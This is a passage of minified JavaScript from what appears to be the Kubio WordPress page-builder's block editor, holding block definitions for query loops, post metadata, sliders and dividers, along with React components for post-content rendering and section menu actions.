*:not(:last-child)"},ribbon:{},"ribbon-wrapper":{props:{className:["price-ribbon-wrapper"]}},"ribbon-icon":{props:{className:["ribbon-icon"],tag:"icon"}},"ribbon-text":{props:{className:["ribbon-text"]}},"ribbon-text-outside":{props:{className:["ribbon-text__outside"]}},"triangle-top":{props:{className:["triangle-top"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"ribbon-wrapper"},children:[{type:"element",props:{name:"ribbon"},children:[{type:"element",props:{name:"ribbon-text-outside",shouldRender:"computed.isRibbonText"},children:[{type:"element",props:{name:"ribbon-text"}}]},{type:"element",props:{name:"triangle-top",shouldRender:"computed.isRibbonIcon"},children:[{type:"element",props:{name:"ribbon-icon"}}]}]}]},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:Uo}={apiVersion:2,name:"kubio/query",category:"kubio-layout",attributes:{queryId:{type:"number"},useMainQuery:{type:"boolean",default:!1},query:{type:"object",default:{perPage:null,pages:1,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:""}}},providesContext:{queryId:"queryId",query:"query",useMainQuery:"useMainQuery"},usesContext:["postId"],supports:{inserter:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Fo}={name:"kubio/query-loop",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery","postId","postType"],attributes:{kubio:{type:"object",default:{props:{layout:{equalWidth:!0,equalHeight:!1,itemsPerRow:3,verticalAlign:"start"}}}},masonry:{type:"boolean",default:!1},notFound:{type:"string"}},supports:{kubio:{appearanceEffect:!1,defaults:{style:{descendants:{notfound:{typography:{},margin:{top:{value:250,unit:"px"},bottom:{value:250,unit:"px"}}}}}},elementsEnum:{NO_FOUND:"notfound"},elementsByName:{notfound:{selector:".kubio-empty-query-result"}}},reusable:!1,html:!1}},{name:zo}={name:"kubio/query-loop-item",attributes:{slug:{type:"string",default:"default"},label:{type:"string",default:"Default"}},parent:["kubio/query-loop"],category:"kubio-layout",usesContext:["queryId","query","queryContext","kubio/parentKubio"]},{name:Vo}={apiVersion:2,name:"kubio/query-pagination",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery"]},{name:Yo}={name:"kubio/query-layout",category:"kubio-blog-components"},{name:$o}={name:"kubio/post-excerpt",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{wordCount:{type:"number",default:16}},supports:{kubio:{appearanceEffect:!0,elementsByName:{text:{default:!0,wrapper:!0,selector:!1,selectorPrepend:!1}}}}},{name:Ko}={name:"kubio/post-tags",category:"kubio-blog-components",attributes:{kubio:{type:"object"},placeholder:{type:"string",default:"No tag"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-tags-container"]}},link:{selector:"a",props:{className:["kubio-post-tags-link"]}},placeholder:{props:{className:["kubio-post-tags-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},{name:qo}={name:"kubio/post-categories",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"-"},placeholder:{type:"string",default:"No category"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"},left:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",SEPARATOR:"separator",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-categories-container"]}},link:{selector:"a"},separator:{selector:".separator"},placeholder:{props:{className:["kubio-post-categories-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},{name:Xo}={name:"kubio/post-meta",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"|"},showIcons:{type:"boolean",default:!0},dateFormat:{type:"string",default:"F j, Y"},editorContext:{type:"object"},metadata:{type:"array",default:[{value:"author",name:"Author",check:!0,icon:"font-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:"Date",check:!0,icon:"font-awesome/calendar",id:1,prefix:"",suffix:""},{value:"time",name:"Time",check:!0,icon:"font-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:"Comments",check:!0,icon:"font-awesome/comment",id:3,prefix:"",suffix:""}]}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icons:{width:{value:20,unit:"px"},height:{value:20,unit:"px"},margin:{right:{value:5,unit:"px"}}},separators:{padding:{left:{value:5,unit:"px"},right:{value:5,unit:"px"}}}}},props:{}},elementsEnum:{METADATACONTAINER:"metaDataContainer",METADATALINKS:"metaDataLinks",METADATAPREFIX:"metaDataPrefix",METADATASUFFIX:"metaDataSuffix",ICONS:"icons",SEPARATORS:"separators"},elementsByName:{metaDataContainer:{wrapper:!0,default:!0,props:{className:["h-blog-meta"]}},metaDataLinks:{selector:"a"},metaDataPrefix:{selector:".metadata-prefix"},metaDataSuffix:{selector:".metadata-suffix"},icons:{selector:".h-svg-icon"},separators:{selector:".metadata-separator"}},template:{type:"element",props:{name:"metaDataContainer"}}}}},{name:Qo}={name:"kubio/divider",category:"kubio-basic",attributes:{kubio:{type:"object"},iconName:{type:"string"}},supports:{kubio:{appearanceEffect:!0,default:{props:{type:"icon"},style:{descendants:{line:{border:{top:{style:"none"},left:{style:"none"},right:{style:"none"},bottom:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:3,unit:"px"}}}},"width-container":{width:{value:100,unit:"px"}},outer:{padding:{top:{value:10,unit:"px"},bottom:{value:10,unit:"px"}}},inner:{fill:"rgba(var(--kubio-color-1),1)",width:{value:40,unit:"px"},height:{value:40,unit:"px"},margin:{left:{value:"10",unit:"px"},right:{value:"10",unit:"px"}}}}}},elementsEnum:{OUTER:"outer",LINE:"line",INNER:"inner",WIDTH_CONTAINER:"width-container"},elementsByName:{outer:{wrapper:!0,default:!0,className:["kubio-divider"]},"width-container":{internal:!0},line:{className:["canvas-divider"]},inner:{props:{tag:"icon"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"width-container"},children:[{type:"element",props:{name:"line"}},{type:"element",props:{name:"inner",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"line",shouldRender:"computed.iconEnabled"}}]}]}}}},{name:Zo}={name:"kubio/spacer",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{height:{value:50,unit:"px"}}}},props:{}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,className:"kubio-spacer"}},template:{type:"element",props:{name:"container"}}}}},{name:Jo}={name:"kubio/carousel",category:"kubio-components",supports:{kubio:{default:{props:{layout:{horizontalGap:2,verticalGap:3,horizontalInnerGap:2,verticalInnerGap:2}}}}}},{name:en}={name:"kubio/carousel-item",category:"kubio-components"},{name:tn}={name:"kubio/post-title",category:"kubio-blog-components",attributes:{kubio:{type:"object"},headingType:{type:"string",default:"h2"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{typography:{decoration:"none"}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link"},elementsByName:{container:{tag:"h2",selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,wrapper:!0,default:!0},link:{prefixWithTag:!0,internal:!0,props:{className:["d-block"],tag:"a"}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"container"}}]}}}},{name:on}={name:"kubio/post-featured-image",category:"kubio-blog-components",attributes:{kubio:{type:"object"},showPlaceholder:{type:"boolean",default:!1},imageSize:{type:"string",default:"cover"},addLink:{type:"boolean",default:!1}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{background:{color:"#F79007"},textAlign:"center",height:{value:300,unit:"px"}},image:{object:{position:"center center",fit:"cover"}}}},props:{aspectRatio:"16-9",verticalAlign:"center"}},elementsEnum:{INNER:"inner",CONTAINER:"container",IMAGE:"image",ALIGN:"align"},elementsByName:{container:{default:!0,wrapper:!0,props:{tag:"figure"}},inner:{},image:{props:{tag:"img"}},align:{props:{className:["h-y-container"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{shouldRender:"computed.showImage",name:"image"}},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:nn}={name:"kubio/read-more-button",category:"kubio-blog-components",usesContext:["postId","postType"],parent:null,supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!1,default:!1}},template:{type:"element",props:{name:"spacing"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}},{name:an}={name:"kubio/post-author-avatar",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1},url:{type:"string"},avatarSize:{type:"string",default:"50"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",IMAGE:"image"},elementsByName:{outer:{wrapper:!0,props:{className:["author-avatar-block"]}},image:{default:!0,props:{tag:"img"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"image"}}]}]}}}},{name:rn}={name:"kubio/post-author-name",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{outer:{},link:{}}}},elementsEnum:{OUTER:"outer",LINK:"link",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"div",className:["author-name-block d-flex"]}},text:{default:!0,selector:".wp-block-kubio-post-author-name__text",props:{tag:"p"}},link:{selector:{normal:"a p.wp-block-kubio-post-author-name__text",hover:"a:hover p.wp-block-kubio-post-author-name__text"},props:{tag:"a"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"text"}}]}]}}}},{name:sn}={name:"kubio/post-author-bio",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{}}},elementsEnum:{TEXT:"text"},elementsByName:{text:{default:!0,wrapper:!0,selector:"&.wp-block.wp-block-kubio-post-author-bio",props:{tag:"p"}}},template:{type:"element",props:{name:"text",shouldRender:"computed.showAuthorBio"}}}}},{name:ln}={name:"kubio/slider",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{textAlign:"center",layout:{horizontalGap:0,verticalGap:0,horizontalInnerGap:3,verticalInnerGap:3,horizontalAlign:"start",verticalAlign:"center"},slider:{pauseOnHover:!1,slidesPerView:3,loop:!0,autoPlay:{enabled:!0,direction:"left",speed:2500}},navigation:{arrows:{enabled:!1},dots:{enabled:!1}},transition:{effect:"slide",speed:1e3,coverflow:{rotate:50,stretch:0,depth:100,modifier:1}},kenBurns:{enabled:!1}},style:{descendants:{outer:{}}}},elementsEnum:{OUTER:"outer",CONTAINER:"container",ALLITEMS:"allitems"},elementsByName:{outer:{props:{className:["d-flex"]},wrapper:!0,default:!0,supports:{background:!0}},container:{props:{className:["d-flex"]}},allitems:{selector:".block-slider-item-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:un}={name:"kubio/slider-content",parent:["kubio/slider","kubio/carousel"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{},style:{}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["swiper-container"]}},inner:{props:{className:["swiper-wrapper"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:cn}={name:"kubio/slider-item",category:"kubio-basic",parent:["kubio/slider-content"],attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}}},supports:{kubio:{default:{style:{inner:{background:{image:[{forceBackgroundLayer:!0}]}}},props:{layout:{verticalAlign:"center",horizontalGap:"inherit",verticalGap:"inherit",horizontalInnerGap:"inherit",verticalInnerGap:"inherit"}}},elementsEnum:{OUTER:"outer",INNER:"inner",ALIGN:"align",VSPACE:"v-space"},elementsByName:{outer:{props:{className:["swiper-slide"]}},inner:{wrapper:!0,default:!0,props:{className:["d-flex","block-slider-item-inner"]}},"v-space":{selector:".wp-block-kubio-carousel-item__align > *:not(:last-child), .wp-block-kubio-slider-item__align > *:not(:last-child), .wp-block-kubio-carousel-item__align .wp-block-kubio-column__align > *:not(:last-child), .wp-block-kubio-slider-item__align .wp-block-kubio-column__align > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]},useParentPrefix:!0}}},{name:pn}={name:"kubio/slider-arrow",parent:["kubio/slider"],usesContext:["navigation"],attributes:{kubio:{type:"object"},icon:{type:"object",default:{name:"font-awesome/chevron-left"}},direction:{type:"string",default:"prev"}},supports:{kubio:{default:{_style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:30,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{horizontalAlign:"start",verticalAlign:"center"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["slider--arrow"]}},inner:{default:!0,wrapper:!0,props:{className:["slider--arrow-inner"]}}},template:{type:"element",props:{name:"outer",shouldRender:"computed.arrowsEnabled"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:dn}={name:"kubio/slider-dots",parent:["kubio/slider"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer",INNER:"inner",DOT:"dot",DOTACTIVE:"dotActive"},elementsByName:{outer:{},inner:{wrapper:!0,default:!0,props:{className:["swiper-pagination"]}},dot:{selector:" .swiper-pagination-bullet"},dotActive:{selector:" .swiper-pagination-bullet.swiper-pagination-bullet-active"}},template:{type:"element",props:{name:"outer",shouldRender:"computed.dotsEnabled"},children:[{type:"element",props:{name:"inner"}}]},default:{props:{layout:{horizontalAlign:"center",verticalAlign:"end"}},style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}},dot:{width:{value:10},height:{value:10}}}}}}}},mn={SLIDER:ln,SLIDER_CONTENT:un,SLIDER_ITEM:cn,SLIDER_ARROW:pn,SLIDER_DOTS:dn},hn={DIVIDER:Qo,SPACER:Zo,SECTION:Ht,ROW:Gt,COLUMN:Ut,HEADER:Ft,CONTENT:zt,HERO:Vt,DOWN_ARROW:Yt,MULTIPLE_IMAGES:$t,MULTIPLE_IMAGES_PICTURE:Kt,BREADCRUMB:qt,SUBSCRIBE_FORM:Xt,...Wt,FOOTER:lo,SIDEBAR:uo,IMAGE:co,IMAGE_GALLERY:po,IMAGE_GALLERY_ITEM:mo,LINK:ho,LINK_GROUP:bo,BUTTON:go,BUTTON_GROUP:yo,HEADING:vo,TEXT:ko,SEARCH_FORM:fo,HOME_BUTTON:_o,CONTACT_FORM:Qt,SHORTCODE:Zt,COPYRIGHT:No,VIDEO:xo,LOGO:ro,COUNTER:Co,ICON:Io,ICON_LIST:Eo,ICON_LIST_ITEM:To,MAP:Bo,PAGE_TITLE:so,ACCORDION:ao,ACCORDION_ITEM:io,TAB:Jt,TAB_ITEM:eo,TAB_ITEMS:to,TAB_NAVIGATION:oo,TAB_NAVIGATION_ITEM:no,MENU_ITEMS:So,DROPDOWN_MENU:wo,ACCORDION_MENU:Po,MENU_OFFSCREEN:Ao,MENU_OFFSCREEN_CONTENT:jo,FLIP_BOX:Oo,FLIP_BOX_CONTENT:Ro,FLIP_BOX_HOVER:Do,SOCIAL_ICONS:Lo,SOCIAL_ICON:Mo,PRICING:Wo,PRICING_TABLE:Ho,PRICING_TABLE_ITEM:Go,LOOP:Fo,LOOP_ITEM:zo,QUERY:Uo,QUERY_PAGINATION:Vo,QUERY_LAYOUT:Yo,POST_TITLE:tn,POST_EXCERPT:$o,POST_TAGS:Ko,POST_CATEGORIES:qo,POST_META:Xo,...mn,CAROUSEL:Jo,CAROUSEL_ITEM:en,POST_FEATURED_IMAGE:on,POST_READ_MORE:nn,POST_AUTHOR_AVATAR:an,POST_AUTHOR_NAME:rn,POST_AUTHOR_BIO:sn},bn=(e={},t={})=>{const{clientId:o}=(0,st.useBlockEditContext)(),{isEmpty:n,isGutentagEditor:a}=(0,Le.useSelect)((e=>{const t=e("core/block-editor").getBlocks(o),n=e(Be.STORE_KEY);return{isEmpty:0===t.length,isGutentagEditor:!!n}}),[o]),i=(0,Me.useMemo)((()=>{let e=t.renderAppender;return((0,Ae.isUndefined)(e)||!0===e)&&(e="kubio-render-appender"),"kubio-render-appender"===e&&(e=n?st.InnerBlocks.ButtonBlockAppender:!a&&void 0),e}),[t.renderAppender,n,a]);return t=(0,Ne.useDeepMemo)((()=>({...t,renderAppender:i})),[t,i]),st.__experimentalUseInnerBlocksProps?(0,st.__experimentalUseInnerBlocksProps)(e,t):(0,st.useInnerBlocksProps)(e,t)},gn=st.useHasRecursion||st.__experimentalUseHasRecursion;let yn=st.__experimentalUseNoRecursiveRenders;st.__experimentalRecursionProvider&&(yn=e=>{const t=gn(e),o=(0,Me.useRef)();return o.current||(o.current=(0,De.compose)((0,De.createHigherOrderComponent)((t=>o=>(0,Je.jsx)(t,{...o,uniqueId:e})),"withKubioRecursionProvider"))(st.__experimentalRecursionProvider)),[t,o.current]});const kn=(0,De.compose)((0,De.createHigherOrderComponent)((e=>t=>{const o=(0,Me.useMemo)((()=>({name:"post-content"})),[]);return(0,Je.jsx)(Ne.TemplatePartContext.Provider,{value:o,children:(0,Je.jsx)(Le.AsyncModeProvider,{value:!1,children:(0,Je.jsx)(e,{...t})})})})),De.pure)((function({postType:e,postId:t,alignments:o}){const[n,a,i]=(0,Bt.useEntityBlockEditor)("postType",e,{id:t}),r="page"===e?fn:void 0,s=bn((0,st.useBlockProps)({className:"entry-content"}),{value:n,onInput:a,onChange:i,__experimentalLayout:{type:"default",alignments:o},allowedBlocks:r});return(0,Je.jsx)("div",{...s})})),fn=[hn.SECTION];function vn(){const e=(0,st.useBlockProps)({className:"entry-content"}),[t,o]=(0,Me.useState)(null),[n,a]=(0,Me.useState)(null),i=(0,Le.useSelect)((e=>{var t,o;return null===(t=e(Be.STORE_KEY))||void 0===t||null===(o=t.getPage())||void 0===o?void 0:o.path})),r=(0,Me.useRef)(),[s,l]=(0,Me.useState)(Math.random());return(0,Fe.useEffectAsync)((async e=>{if(i&&e()){var t;const a=await window.fetch((0,Nt.addQueryArgs)(i,{"__kubio-rendered-content":1})).then((e=>e.json()));var n;e()&&null!=a&&null!==(t=a.data)&&void 0!==t&&t.content&&o(null===(n=a.data)||void 0===n?void 0:n.content)}}),[i]),(0,Fe.useEffectAsync)((async e=>{if(e()){var t;if(!i)return;const n=await window.fetch((0,Nt.addQueryArgs)(i,{"__kubio-rendered-styles":1})).then((e=>e.json()));var o;e()&&null!=n&&null!==(t=n.data)&&void 0!==t&&t.content&&(a(null===(o=n.data)||void 0===o?void 0:o.content),l(Math.random()))}}),[i]),(0,Me.useEffect)((()=>{const e=r.current;if(!e)return;let t=["global-styles-inline-css","kubio-google-fonts-css","elevate-theme-css","kubio-third-party-blocks-css","kubio-block-library-dep-fancybox-css","kubio-block-library-dep-swiper-css"];t=t.map((e=>`#${e}`));const o=t.join(",");o&&e.querySelectorAll(o).forEach((e=>{null==e||e.remove()}))}),[r.current]),(0,Je.jsxs)("div",{...e,children:[(0,Je.jsx)("div",{ref:r,children:(0,Je.jsx)(Me.RawHTML,{children:n})},s),(0,Je.jsx)(Me.RawHTML,{children:t}),(0,Je.jsx)("div",{className:"kubio-post-content-rendered-placeholder"})]})}function xn(){const e=(0,st.useBlockProps)();return(0,Je.jsx)("div",{...e,children:(0,Je.jsx)("div",{className:"wp-block-post-content__placeholder",children:(0,Je.jsx)("span",{children:(0,We.__)("This is a placeholder for post content.","kubio")})})})}function Cn(){const e=(0,st.useBlockProps)();return(0,Je.jsx)("div",{...e,children:(0,Je.jsx)(st.Warning,{children:(0,We.__)("Block cannot be rendered inside itself.","kubio")})})}const In=({context:{postId:e,postType:t},attributes:o,clientId:n})=>{const{layout:a={}}=o,[i,r]=yn(e);return e&&t&&i?(0,Je.jsx)(Cn,{}):(0,Pe.applyFilters)("kubio.showRenderedPostContent","page"!==t,t,e)?(0,Je.jsx)(vn,{}):(0,Je.jsx)(r,{children:e&&t?(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(kn,{postType:t,postId:e,layout:a}),(0,Je.jsx)(ut.LayoutPicker,{postType:t,postId:e,clientId:n})]}):(0,Je.jsx)(xn,{})})},En=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)("div",{className:"kubio-editing-header",children:(0,Je.jsx)(ut.ControlNotice,{content:(0,We.__)("Current block does not have content options","kubio")})})}),Tn=window.kubio.icons,Sn=window.kubio.colibri,wn={name:"core/post-content",category:"kubio-template-parts",usesContext:["postId","postType"],supports:{align:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}}},__experimentalDisableBlockOverlay:!0}},{name:Pn}=wn,An=(0,Sn.extendBlockMeta)(wn,{title:(0,We.__)("Content","kubio"),icon:Tn.BlockIcons.PostContent,supports:{anchor:!1,reusable:!1,html:!1,multiple:!1},edit:function(e){const{context:{postId:t,postType:o}}=e;return(0,Ne.useNoticeOnBlockRemove)((0,We.__)("You just deleted the Post Content block. Without a Post Content block the current template might not work across multiple pages","kubio")),t&&o?(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(En,{}),(0,Je.jsx)(In,{...e})]}):(0,Je.jsx)("p",{children:(0,We.__)("This is a placeholder for post content.","kubio")})}}),jn=window.kubio.styleManager,Bn=window.wp.primitives,Nn=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"})}),On=({dataHelper:e})=>{const{saveEntityRecord:t}=(0,Le.useDispatch)("core"),o=e.clientId,{block:n}=(0,Le.useSelect)((e=>{const{getBlock:t}=e(st.store);return{block:t(o)}}),[o]),{createErrorNotice:a,createSuccessNotice:i}=(0,Ne.useKubioNotices)(),[r,s]=(0,Me.useState)(""),[l,u]=(0,Me.useState)(!0),[c,p]=(0,Me.useState)(!1),d=async(e,o)=>{p(!0);const s=(0,Ze.transformBlockToTemplate)(n),l={title:r,status:"publish",content:JSON.stringify(s)};let c=!1;try{c=await t(e,o,l),i((0,We.sprintf)(// translators: %s is the name of item that was saved // translators: %s is the name of item that was saved (0,We.__)("%s saved successfully!","kubio"),r))}catch(e){a((0,We.sprintf)(//translators: %s is the name of item that was not saved //translators: %s is the name of item that was not saved (0,We.__)("An error occurred. %s was not saved","kubio"),r))}var d;c&&(u(!1),null===(d=document.querySelector("#new-section-modal"))||void 0===d||d.remove())};return(0,Je.jsx)(Je.Fragment,{children:l&&(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Re.Modal,{title:(0,We.__)("Save as custom section","kubio"),onRequestClose:()=>{u(!1)},className:"block-editor-block-new-entity-modal new-section-modal",shouldCloseOnEsc:!c,shouldCloseOnClickOutside:!c,isDismissible:!c,children:(0,Je.jsxs)("div",{className:"popover__content",children:[(0,Je.jsx)(Re.__experimentalInputControl,{value:r,onChange:e=>s(e),label:(0,We.__)("Name","kubio"),autoFocus:!0,onKeyPress:e=>{"Enter"===e.key&&d("postType","kubio_section")}}),(0,Je.jsx)(Re.__experimentalSpacer,{margin:3}),(0,Je.jsx)(Re.Button,{isPrimary:!0,isBusy:c,disabled:""===r,onClick:()=>{d("postType","kubio_section")},className:"add-button",children:(0,We.__)("Save section","kubio")}),(0,Je.jsx)(Re.__experimentalSpacer,{margin:6})]})})})})},Rn=async e=>{(e=>{const t=document.createElement("div");t.setAttribute("id","new-section-modal"),(0,Ne.reactRender)((0,Je.jsx)(On,{dataHelper:e}),t)})(e)},Dn=e=>{e&&(e.preventDefault(),e.stopPropagation())},Ln=Qe.CHANGE_IMAGE_VIDEO,Mn=Qe.CHANGE_BACKGROUND,Wn={label:(0,We.__)("Edit section layout","kubio"),action:async({dataHelper:e,hooks:t,event:o})=>{Dn(o);const{selectBlock:n=je().noop,onSelectPanel:a=je().noop}=t;await n(null==e?void 0:e.clientId),a("content",".kubio-section-layout-panel")}},Hn={label:(0,We.__)("Duplicate section","kubio"),action:async({dataHelper:e,event:t})=>{Dn(t),e.duplicate({unlink:!0})}},Gn={label:(0,We.__)("Save as custom section","kubio"),action:async({dataHelper:e,event:t})=>{Dn(t),Rn(e)}},Un={label:(0,We.__)("Delete section","kubio"),enabled:(e,{canRemoveBlock:t})=>!!t(e.clientId),action:async({dataHelper:e,hooks:t,event:o})=>{Dn(o);const{removeBlock:n=je().noop,selectBlock:a=je().noop}=t;await a(),n(null==e?void 0:e.clientId,!1)}},Fn={label:(0,We.__)("Section settings","kubio"),action:async({dataHelper:e,hooks:t,event:o})=>{Dn(o);const{selectBlock:n=je().noop,onSelectPanel:a=je().noop}=t;await n(null==e?void 0:e.clientId),a("content",".kubio-section-layout-panel")}};function zn(e){return e.withChildren().find((e=>e.getProp("layout.equalWidth")))}const Vn={label:(0,We.__)("Add list item","kubio"),enabled:e=>!!zn(e),action:({dataHelper:e,event:t})=>{Dn(t);const o=zn(e);if(!o)return;const n=o.withChildren();(0,Ae.last)(n).duplicate({unlink:!1})}},Yn=ut.UIUtils.itemsPerRowOptions.map((e=>({label:`${e.value} item${e.value>1?"s":""}`,action:({dataHelper:t,hooks:o,event:n,activeMedia:a})=>{Dn(n);const{selectBlock:i=je().noop}=o,r=zn(t);r&&(i(null==r?void 0:r.clientId),r.setPropInMedia("layout.itemsPerRow",e.value,{media:a}))}}))),$n={CHANGE_IMAGE_VIDEO:Ln,CHANGE_BACKGROUND:Mn,EDIT_LAYOUT:Wn,DUPLICATE_BLOCK:Hn,SAVE_BLOCK:Gn,REMOVE_BLOCK:Un,SELECT_BLOCK:Fn,ADD_LIST_ITEM:Vn,ITEMS_PER_ROW:{label:(0,We.__)("Items per row","kubio"),subItems:Yn,enabled:e=>!!zn(e),action:async(e,t,o)=>{Dn(o)}}},Kn=e=>{const[t,o]=(0,Me.useState)(!1),n=je().merge({},{enabled:!0,menuItems:[],clientId:!1},e),{enabled:a,menuItems:i,clientId:r}=n,s=(0,Me.useCallback)((()=>{o(!0)}),[]),l=(0,Me.useCallback)((()=>{o(!1)}),[]);if(!a)return{sectionOptionsProps:{},containerProps:{}};const u={isHovered:t,menuItems:i},{clientId:c}=(0,Ne.useHoveredSection)();return(0,Me.useEffect)((()=>{o(c==r)}),[c]),{sectionOptionsProps:u,containerProps:window.isKubioBlockEditor?{}:{onMouseEnter:s,onMouseLeave:l}}},qn=(0,Re.withFilters)("kubio.components.section-hover-options")((function({isHovered:e,menuItems:t=[],beforeSettingsButton:o,afterSettingsButton:n,...a}){var i;const r=(0,Me.useRef)(),[s,l]=(0,Me.useState)(!1),u=0===t.length,c=e||s,p=(0,Ne.useActiveMedia)(),d=null==a||null===(i=a.dataHelper)||void 0===i?void 0:i.blockName,m=(0,Pe.applyFilters)("kubio.section-ai-options.showSectionHoverControl",!0,d,p);if(u||!m)return(0,Je.jsx)(Je.Fragment,{});const 